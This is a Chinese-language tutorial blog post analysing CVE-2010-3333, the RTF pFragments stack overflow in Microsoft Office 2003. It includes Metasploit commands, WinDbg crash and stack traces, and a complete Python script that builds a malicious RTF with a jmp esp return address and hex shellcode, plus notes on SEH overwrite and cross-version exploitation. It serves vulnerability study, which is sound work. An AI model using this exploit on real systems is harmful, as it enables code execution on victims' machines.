动手实验 CVE-2010-3333 Microsoft RTF栈溢出漏洞


本文包括 栈回溯定位漏洞的方法详细的漏洞分析过程以及 如何编写通用性exp的想法

一、漏洞信息

漏洞描述

漏洞描述:Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此又称之为“RTF栈缓冲区溢出漏洞”。

分析环境

环境备注
操作系统windows xp sp3简体中文
调试器windbg/Immunity Debugger
漏洞软件Microsoft Office Word2003 SP3
漏洞组件MSO.dll版本11.0.8172

简单利用过程

msf获取样本

msf5 > search cve-2010-3333

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank   Check  Description
   -  ----                                                    ---------------  ----   -----  -----------
   0  exploit/windows/fileformat/ms10_087_rtf_pfragments_bof  2010-11-09       great  No     MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)


msf5 > use 0
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec
payload => windows/exec
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set cmd calc.exe
cmd => calc.exe
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit 

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/kali/.msf4/local/msf.rtf

双击后出现calc.exe,漏洞成功触发
在这里插入图片描述
为了方便调试可以利用msf生成crash样本

msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Microsoft Office 2002 SP3 English on Windows XP SP3 English
   2   Microsoft Office 2003 SP3 English on Windows XP SP3 English
   3   Microsoft Office 2007 SP0 English on Windows XP SP3 English
   4   Microsoft Office 2007 SP0 English on Windows Vista SP0 English
   5   Microsoft Office 2007 SP0 English on Windows 7 SP0 English
   6   Crash Target for Debugging


msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit 

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/kali/.msf4/local/msf.rtf

二、漏洞分析

RTF文件格式

RTF(Rich Text Format)文件的基本元素是正文(Text),控制字(Control Word),控制符号(Control Symbol)和群组(Group)
在这里插入图片描述
样本中的控制字的作用

\rtf1 --- RTF版本
\shp  --- 绘图对象
\sp   --- 绘图对象属性定义
\sn pFragments --- 定义属性名称,pFragments段是图形的附加部分,属于数组结构。它允许图形包含多个路径和分段,该属性列出图形各个碎片
\sv   --- 定义属性值

基于栈回溯的漏洞分析方法

msf生成的样本利用的是攻击SEH的方法进行。有两种打开样本的方法,不同打开方式SEH链不同,会影响漏洞的调试和利用。

第一种方法打开word再使用windbg附加,然后再去打开样本,栈中的SEH链和直接打开时是不一样的。
在这里插入图片描述
第二种方法,因为之前打开过,所以直接双击打开msf.rtf,会弹出提示框。此时使用windbg附加,再点击打开。
在这里插入图片描述
直接打开rtf的SEH链

0:000> !exchain
0012ffb0: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE - 
WINWORD!wdGetApplicationObject+280d10 (30aa1abc)
0012ffe0: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
kernel32!ValidateLocale+2b0 (7c839ac0)
Invalid exception stack at ffffffff

后面的分析时都是使用第二种打开方式(双击直接打开),附加windbg再正常运行
第一步使样本报错定位漏洞点

  1. 报错信息显示异常地址为0x30ed442c,从[esi]到[edi]复制的过程中访问违例,。
  2. 查看esi指向内容如下
  3. 查看edi指向地址的属性为PAGE_READONLY,且该地址正好在esp附近的高地址,可能是栈溢出且能覆盖SEH
  4. 可以知道漏洞模块为MSO.dll,查看MSO.dll的信息
0:003> g
ModLoad: 087e0000 08981000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000   C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000   C:\WINDOWS\system32\NETAPI32.dll
(bc8.c24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00000022 edx=00000000 esi=1104c830 edi=00130000
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - 
mso!Ordinal1246+0x16b0:
30ed442c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
#查看esi的内容
0:000> db esi
1104c830  38 4e 72 39 4e 73 30 4e-73 31 4e 73 32 4e 73 33  8Nr9Ns0Ns1Ns2Ns3
1104c840  4e 73 34 4e 73 35 4e 73-36 4e 73 37 4e 73 38 4e  Ns4Ns5Ns6Ns7Ns8N
1104c850  73 39 4e 74 30 4e 74 31-4e 74 32 4e 74 33 4e 74  s9Nt0Nt1Nt2Nt3Nt
1104c860  34 4e 74 35 4e 74 36 4e-74 37 4e 74 38 4e 74 39  4Nt5Nt6Nt7Nt8Nt9
1104c870  4e 75 30 4e 75 31 4e 75-32 4e 75 33 4e 75 34 4e  Nu0Nu1Nu2Nu3Nu4N
1104c880  75 35 4e 75 36 4e 75 37-4e 75 38 4e 75 39 4e 76  u5Nu6Nu7Nu8Nu9Nv
1104c890  30 4e 76 31 4e 76 32 4e-76 33 4e 76 34 4e 76 35  0Nv1Nv2Nv3Nv4Nv5
1104c8a0  4e 76 36 4e 76 37 4e 76-38 4e 76 39 4e 77 30 4e  Nv6Nv7Nv8Nv9Nw0N
#查看edi指向地址的属性
0:000> !address edi
Usage:                  MemoryMappedFile
Allocation Base:        00130000
Base Address:           00130000
End Address:            00133000
Region Size:            00003000
Type:                   00040000	MEM_MAPPED
State:                  00001000	MEM_COMMIT
Protect:                00000002	PAGE_READONLY
Mapped file name:       PageFile

#查看漏洞模块
0:000> lmm mso v
start    end        module name
30c90000 3184c000   mso        (export symbols)       C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
    Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
    Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
    Image name: mso.dll
    Timestamp:        Tue Jun 19 07:53:36 2007 (46771B00)
    CheckSum:         00BB6E3C
    ImageSize:        00BBC000
    File version:     11.0.8172.0
    Product version:  11.0.8172.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0000.04e4
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft Office 2003
    InternalName:     MSO
    OriginalFilename: MSO.DLL
    ProductVersion:   11.0.8172
    FileVersion:      11.0.8172
    FileDescription:  Microsoft Office 2003 component
    LegalCopyright:   Copyright © 1983-2003 Microsoft Corporation.  All rights reserved.

第二步下断点,栈回溯找漏洞函数
重新打开样本并在0x30ed442c下断点。
通过栈回溯和查看汇编代码,定位漏洞函数在0x30f0b5c2

0:003> bp 0x30ed442c
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - 
0:003> g
ModLoad: 08660000 08801000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000   C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000   C:\WINDOWS\system32\NETAPI32.dll
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=001237dc
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
#查看栈帧
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
001237ec 30f0b56b 00123958 00000000 ffffffff mso!Ordinal1246+0x16b0
0012381c 30f0b4f9 001239a4 00123958 00000000 mso!Ordinal1273+0x2581
00123a68 30d4d795 00000000 00123aa8 00000000 mso!Ordinal1273+0x250f
00123a90 30d4d70d 30d4d5a8 01490b88 01490bc0 mso!Ordinal5575+0xf9
00123a94 30d4d5a8 01490b88 01490bc0 01490a70 mso!Ordinal5575+0x71
00123a98 01490b88 01490bc0 01490a70 30dce40c mso!Ordinal4099+0xf5
00123a9c 01490bc0 01490a70 30dce40c 00000000 0x1490b88
00123aa0 01490a70 30dce40c 00000000 0149084c 0x1490bc0
00123aa4 30dce40c 00000000 0149084c 00124854 0x1490a70
00123aa8 00000000 0149084c 00124854 00000000 mso!Ordinal2940+0x1588c
#反向查看汇编代码
0:000> ub 30f0b56b
mso!Ordinal1273+0x256d:
30f0b557 23c1            and     eax,ecx
30f0b559 50              push    eax
30f0b55a 8d47ff          lea     eax,[edi-1]
30f0b55d 50              push    eax
30f0b55e 8b4508          mov     eax,dword ptr [ebp+8]
30f0b561 6a00            push    0
30f0b563 ff750c          push    dword ptr [ebp+0Ch]
30f0b566 e857000000      call    mso!Ordinal1273+0x25d8 (30f0b5c2)

第三步 分析漏洞函数,找到漏洞原因
重新打开样本并在0x30f0b5c2下断点,但是这和前面发生栈溢出的地址0x30ed442c,距离差的有点多可能需要call进去。

1.跟入call dword ptr [eax+1Ch] 。调用函数地址为0x30ed4406与目标地址接近

2.进入后因为没有重新开辟栈帧所以在查看栈回溯的时候没有直接定位到这

3.在进行复制之前用ecx保存了需要复制的大小,操作的是dword数据,需要算数右移2位。正好是rtf中保存的pFragments的长度0xc8ac

4.edi=0x001237dc,ebp=0x001237ec 相距0x14字节

30f0b5c2 55              push    ebp
30f0b5c3 8bec            mov     ebp,esp
30f0b5c5 83ec14          sub     esp,14h#开辟栈空间0x14
30f0b5c8 837d1800        cmp     dword ptr [ebp+18h],0
30f0b5cc 57              push    edi
30f0b5cd 8bf8            mov     edi,eax
30f0b5cf 0f841d4c1800    je      mso!Ordinal6844+0x94aaa (310901f2)
30f0b5d5 8b4f08          mov     ecx,dword ptr [edi+8]
30f0b5d8 53              push    ebx
30f0b5d9 56              push    esi
30f0b5da e8c4e8e1ff      call    mso!Ordinal2412+0x93 (30d29ea3)
30f0b5df ff750c          push    dword ptr [ebp+0Ch]
30f0b5e2 8b7064          mov     esi,dword ptr [eax+64h]
30f0b5e5 8365f800        and     dword ptr [ebp-8],0
30f0b5e9 8b06            mov     eax,dword ptr [esi]
30f0b5eb 8d4df0          lea     ecx,[ebp-10h]
30f0b5ee 51              push    ecx
30f0b5ef bb00000005      mov     ebx,5000000h
30f0b5f4 56              push    esi
30f0b5f5 895df4          mov     dword ptr [ebp-0Ch],ebx
#这里需要跟进
30f0b5f8 ff501c          call    dword ptr [eax+1Ch]  ds:0023:30da33f4=30ed4406 

#调用函数
#F8跟进后,可以知道为什么这里没有出现在调用链中,因为调用的时候没有开辟新的栈帧
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=001237dc
eip=30ed4429 esp=001237b4 ebp=001237ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal1246+0x16ad:
30ed4429 c1e902          shr     ecx,2
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=001237dc
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
#查看esi中的内容
0:000> db esi
1104000c  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
1104001c  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
1104002c  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
1104003c  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
1104004c  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
1104005c  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
1104006c  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
1104007c  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae

在这里插入图片描述
第四步 分析可能的利用方式
因为在解析pFraments属性时没有校验长度,所以复制的时候只要长度大于0x14就能覆盖返回地址。并且只要长度够长还能覆盖到SEH。

三、漏洞利用

方法1:将返回地址覆盖为jmp esp

根据上面的分析,只要长度大于0x14即可覆盖返回地址。

0:000> uf 30ed4406
mso!Ordinal1246+0x168a:
30ed4406 57              push    edi
30ed4407 8b7c240c        mov     edi,dword ptr [esp+0Ch]
30ed440b 85ff            test    edi,edi
30ed440d 7427            je      mso!Ordinal1246+0x16ba (30ed4436)

mso!Ordinal1246+0x1693:
30ed440f 8b442408        mov     eax,dword ptr [esp+8]
30ed4413 8b4808          mov     ecx,dword ptr [eax+8]
30ed4416 81e1ffff0000    and     ecx,0FFFFh
30ed441c 56              push    esi
30ed441d 8bf1            mov     esi,ecx
30ed441f 0faf742414      imul    esi,dword ptr [esp+14h]
30ed4424 037010          add     esi,dword ptr [eax+10h]
30ed4427 8bc1            mov     eax,ecx
30ed4429 c1e902          shr     ecx,2
30ed442c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
30ed442e 8bc8            mov     ecx,eax
30ed4430 83e103          and     ecx,3
30ed4433 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
#在shellcode之前需要填充0x14字节的内容
30ed4435 5e              pop     esi

mso!Ordinal1246+0x16ba:
30ed4436 5f              pop     edi
30ed4437 c20c00          ret     0Ch

**第一步:**找到稳定不会改变地址的jmp esp。利用mona插件!mona findwild -s “jmp esp”。这里使用SHELL32.dll中的0x7d5a31db

**第二步:**生成shellcode。利用msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex

**第三步:**拼接成rtf的格式(参考链接:https://www.sunxiaokong.xyz/2019-10-22/lzx-01/

#CVE-2010-3333 my_exp.py
#-*-coding:utf8-*-
data = '''{\\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv1;1;11111111'''
data += '0010' #复制数据的长度
data += '1'*0x20+'1'*8 #循环复制目的地址与返回地址中的填充
data += 'db315a7d' #返回地址 jmp esp指令地址
data += '0'*0x14*2  #jmp esp指令地址与shellcode之间的填充
shellcode = 'fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4' \
            'c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b' \
            '8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a69' \
            '5bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500'
data += shellcode
data += '}}}}}'
print(len(shellcode))
print(data)
with open('exp_jmp_esp.rtf', 'w') as f:
    f.write(data)
    f.close()

生成的rtf分析,并成功出现计算器。
在这里插入图片描述

在这里插入图片描述

方法2:覆盖SEH结构体

覆盖SEH结构体的内容为jmp 06 + pop pop ret + jmp shellcode。当触发异常时会跳入shellcode中执行代码。这也是msf生成的样本使用的方法。

这里以msf生成的target为”Microsoft Office 2003 SP3 English on Windows XP SP3 English“的样本为例进行分析。

  1. 运行样本并在0x30ed442c处下断点。

  2. 先查看原来的SEH链

  3. F10执行之后再看SEH链,此时已经被覆盖为了0x30001bdd

  4. 在0x30001bdd下断点

在这里插入图片描述
正好是pop pop retn。接下去就单步跟踪经过两次jmp就能到shellcode

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=30001bdd edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdd esp=001233e4 ebp=00123404 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINWORD+0x1bdd:
30001bdd 59              pop     ecx
0:000> p
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=30001bde esp=001233e8 ebp=00123404 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINWORD+0x1bde:
30001bde 59              pop     ecx
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdf esp=001233ec ebp=00123404 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINWORD+0x1bdf:
30001bdf c3              ret
#跳转到下一个跳转指令
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=0012ffb0 esp=001233f0 ebp=00123404 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012ffb0 eb06            jmp     0012ffb8
#跳转到shellcode
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=0012ffb8 esp=001233f0 ebp=00123404 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012ffb8 e91f38ffff      jmp     001237dc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P2py8lMJ-1644746631174)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/46aedb2b-60fa-4818-b8a4-6a1299010b93/Untitled.png)]

通用shellcode的研究

可以分析msf生成rtf的代码了解通用性的exp如何生成。

  1. 先生成通用的rtf命名为automic.rtf

  2. 生成”Microsoft Office 2003 SP3 English on Windows XP SP3 English“样本命名为2003xp.rtf

  3. 生成”Microsoft Office 2007 SP0 English on Windows XP SP3 Englis”样本命名为2007xp.rtf

  4. 用010edit分别进行对比

2003xp.rtf和automic.rtf对比,只需要看相同的地方

  1. 偏移0x27:pFragments的长度都设置为0xc8ac

  2. 偏移0xC044和0x18FE4:两个样本都有覆盖SEH攻击的内容pop pop ret地址0x30001bdd。和e91f38ffff为跳转的字节码

在这里插入图片描述
在这里插入图片描述
2007xp.rtf和automic.rtf对比,只需要看相同的地方

  1. 偏移0x27:pFragments的长度都设置为0xc8ac

  2. 偏移0x2ECC:2007XP样本中SEH_handle被覆盖为0x00290b0b(call ptr [ebp+0x30])。automic样本为0x78812890(pop pop ret)

在这里插入图片描述
在这里插入图片描述

**小结:**通用的exp编写需要找到在多个版本都不会改变的gadget,另一方面因为多个版本触发漏洞的点不一样(SEH的偏移不同)可以将多个漏洞的利用都尝试触发(automatic尝试覆盖多个可能的SEH结构)

参考

《漏洞战争》

https://www.sunxiaokong.xyz/2019-10-22/lzx-01/

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值